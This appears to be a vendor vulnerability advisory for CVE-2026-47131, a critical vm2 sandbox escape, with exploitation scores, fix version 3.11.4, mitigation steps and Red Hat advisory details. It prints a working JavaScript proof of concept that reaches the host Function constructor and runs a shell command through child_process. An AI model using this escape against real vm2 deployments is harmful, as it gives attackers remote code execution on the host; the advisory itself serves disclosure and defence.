CVE-2026-47131 is a critical-severity (CVSS 10) CWE-913 vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.
vm2: Sandbox Escape
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-47131.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-47131 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vm2npmDescription
Summary
By combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox.
This allows attackers to run arbitrary code.
PoC
"use strict";
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
"use strict";
const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
setProto.call(getProto.call(e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
const HostFunction = e.constructor.constructor;
new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
}
}
f();
`);
Impact
Sandbox Escape → RCE
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.11.4npm install vm2@3.11.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vm2 to 3.11.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-47131 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
The Red Hat Product Security team has rated the impact of this vulnerability as Moderate in Red Hat Developer Hub and Ansible Automation Platform.The affected package is present in both products as a transitive dependency; however, the vulnerable sandbox functionality is not invoked in any production code path. The…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-47131 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.1 | ansible-automation-platform/automation-portal:1785854226 | RHSA-2026:50850 |
| Red Hat Developer Hub 1.10 | rhdh/rhdh-hub-rhel9:1783448184 | RHSA-2026:36754 |
| Red Hat Developer Hub 1.9 | rhdh/rhdh-hub-rhel9:1782761244 | RHSA-2026:33574 |
Frequently Asked Questions
Is CVE-2026-47131 in your dependencies?
Find it across npm, including transitive dependencies.